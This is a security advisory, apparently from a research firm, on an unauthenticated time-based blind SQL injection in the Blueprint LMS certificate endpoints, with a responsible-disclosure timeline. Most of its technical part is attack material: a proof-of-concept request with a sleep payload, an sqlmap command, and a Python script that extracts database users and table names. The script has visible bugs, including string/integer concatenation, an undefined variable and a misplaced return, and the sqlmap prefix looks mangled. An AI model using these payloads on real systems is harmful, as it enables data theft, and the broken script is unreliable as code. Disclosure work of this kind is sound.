Overview

SilentGrid identified an unauthenticated time-based blind SQL injection in Global Vision Media's Blueprint Learning Management System (LMS). Blueprint LMS is a fork of Chamilo LMS, with the addition of a SCORM engine and custom functions.

The injection is blind in the sense that the application response does not provide output from the backend database. The primary indicators of a blind SQL injection vulnerability then comes down to determining valid SQL statements containing True or False conditions based on such variables as the application's HTTP response, the response body, server response time, or a combination of them.

At the time of writing, the vulnerability has claimed to have been patched by the vendor. SilentGrid was not involved with the retest of this issue.  

Technical details

The application has functions to generate PDFs (generateCert.ajax.php, externalcert.ajax.php), where some of the query parameters, "learnerid", "certid", and "studentid", were found to be vulnerable to a time-based blind SQL injection attack technique. The following is a proof of concept request to the vulnerable endpoint:

GET /main/inc/ajax/generateCert.ajax.php?learner_name=aaaa&learner_id=(select*from(select+sleep(10)a)&cert_name=aaaa&cert_id=aaaa&sys_path=aaaa&portal_name=aaaa&web_path=aaaa HTTP/1.1
Host: <REDACTED>
Cookie: <REDACTED>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;
rv:99.0) Gecko/20100101 Firefox/99.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: <REDACTED>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

As per traditional SQL injection penetration testing, sqlmap was employed to expedite exploitation:

sqlmap -u "https://<REDACTED>/main/inc/ajax/generateCert.ajax.php?learnername=aaaa&learnerid=aaaa&certname=aaaa&certid=aaaa&syspath=aaaa&portalname=aaaa&webpath=aaaa" -p "learnerid" --dbms=mysql --risk=2 --level=3 --string="error" --technique="T" --prefix="(selectfrom(" --suffix=")a)" --string="error"

However, despite various tweaks to sqlmap's options, it would always return:

The sqlmap logs suggested the built-in payloads did not trigger the very specific injection vulnerability parameters. The vulnerable endpoints would only respond to payloads similar to:

(select*from(select+sleep(10)a)

In order to take the vulnerability any further, some manual labour was required and a quick and dirty Python script PoC was born:

# Python script to brute force a cell in a MySQL time-based blind SQL injection

import requests
import string
import urllib.parse
import datetime

'''
setup variables
'''

url = "<VULNERABLE_ENDPOINT>"
delay_sec = 2
charset  = string.digits + string.ascii_lowercase + '_-!@#$^&*()'
s = requests.Session()

def cell_length(payload,limit=0):
    '''
    determine cell length
    e.g., used to determine the length of string
    '''
    cell_len = 1
    query = ""
    if "from" in payload.lower():
        query = "(select*from(select sleep(" + delay_sec + ") from dual where (" + payload + " LIMIT " + str(limit) + ",1) LIKE 'REPLACE')a)"
    else:
        query = "(select*from(select sleep(" + delay_sec + ") from dual where (" + payload + ") LIKE 'REPLACE')a)"
        while True:
            mod = query.replace('REPLACE', '_'*cell_len)
            r = s.get(url.replace("SQLI",urllib.parse.quote(mod)), headers={"Referer":"<REFERER_ENDPOINT>"})
            if r.elapsed < datetime.timedelta(seconds=delay_sec):
                cell_len += 1
            else: 
                break
        return cell_len

def cell_brute(payload,cell_len,limit=0):
    '''
    brute force cell
    e.g., with known string length, brute force each character
    '''
    brute = list("")
    if "from" in payload.lower():
        query = "(select*from(select sleep(" + delay_sec + ") from dual where (" + payload + " LIMIT " + str(limit) + ",1) LIKE 'REPLACE')a)"
    else:
        query = "(select*from(select sleep(" + delay_sec + ") from dual where (" + payload + ") LIKE 'REPLACE')a)"
    while len(brute) < cell_len:
        for c in charset:
            mod = query.replace('REPLACE', ''.join(brute) + c + '_'*(cell_len - len(brute) - 1))
            print("URL REPLACE: " + url.replace("SQLI",urllib.parse.quote(mod)))
            r = s.get(url.replace("SQLI",urllib.parse.quote(mod)), headers={"Referer":"<REFERER_ENDPOINT>"})
            if r.elapsed > datetime.timedelta(seconds=delay_sec):
                brute.append(c)
                break
    return ''.join(brute)

def cell_count(payload):
    '''
    count number of cells in a given table
    '''
    table = ""
    if "limit" in payload.lower():
        table = payload[(payload.index('FROM '))+len('FROM'):payload.index(' LIMIT')]
    else:
        table = payload[(payload.index('FROM '))+len('FROM '):]
    query = "(select*from(select sleep(" + delay_sec + ") from dual where (SELECT COUNT(*) FROM " + table + ") LIKE 'REPLACE')a)"
    length = cell_length(query)
    count = cell_brute(query,length)
    return count

def dump_db_version():
    '''
    get the current database version
    '''
    db_version = ""
    query = "@@version"
    length = cell_length(query)
    db_version.append(cell_brute(query,length))
    return db_version

def dump_current_db():
    '''
    get the current database name
    '''
    db_name = []
    query = "database()"
    length = cell_length(query,i)
    db_name.append(cell_brute(query,length,i))
    return db_name

def dump_users():
    '''
    brute up to the first 20 users
    '''
    users = []
    query = "SELECT user FROM mysql.user"
    count = cell_count(query)
    count = 20 if int(count) > 20 else int(count)
    for i in range(count):
        length = cell_length(query,i)
        users.append(cell_brute(query,length,i))
    return users

def dump_tables(db):
    '''
    brute up to the first 20 database tables
    '''
    tables = []
    query = "SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA=" + db
    count = cell_count(query)
    count = 20 if int(count) > 20 else int(count)
    for i in range(count):
        length = cell_length(query,i)
        tables.append(cell_brute(query,length,i))
    return tables

if __name__ == "__main__":
    print(dump_db_version())
    print(dump_current_db())
    print(dump_users())
    print(dump_tables(dump_current_db()))

Essentially the script has a number of functions to brute force data by leveraging MySQL's wildcard characters. % (percentage) can be used to match any string, while _ (underscore) is used to match any single character.

Data can then be brute forced by asking the database to sleep for a set period of time (e.g., 2 seconds) if the queried cell in question is of a certain length, or has some specific character in it.

Some general MySQL queries have been included for demonstration purposes.

Impact

Unauthenticated Internet-based attackers can extract sensitive application and user data. In some scenarios, the attackers could manipulate the data, or even fully compromise the remote backend system.

Responsible disclosure

  • 12 May 2022: SilentGrid provides details to Global Vision Media regarding the vulnerability.
  • 13 May 2022: Global Vision Media's response: "As you provided advance notice of this issue earlier in the week, we immediately prioritised this matter at the time and a patch was rolled out in line with our security policy without delay. Accordingly, the system has already been patched and the vulnerability is no longer present. Further to this, we’ve a performed a code analysis and confirmed that other similar parts of the system do not have the same vulnerability."
  • 16 May 2022: SilentGrid, Global Vision Media, and other stakeholders meet to discuss the vulnerability and its impact.
  • 8 August 2022: Vulnerability disclosed.

References

  • https://portswigger.net/web-security/sql-injection/blind
  • https://owasp.org/www-community/attacks/BlindSQLInjection
  • https://ismailtasdelen.medium.com/sql-injection-payload-list-b97656cfd66b  https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL% 20Injection/MySQL%20Injection.md#mysql-time-based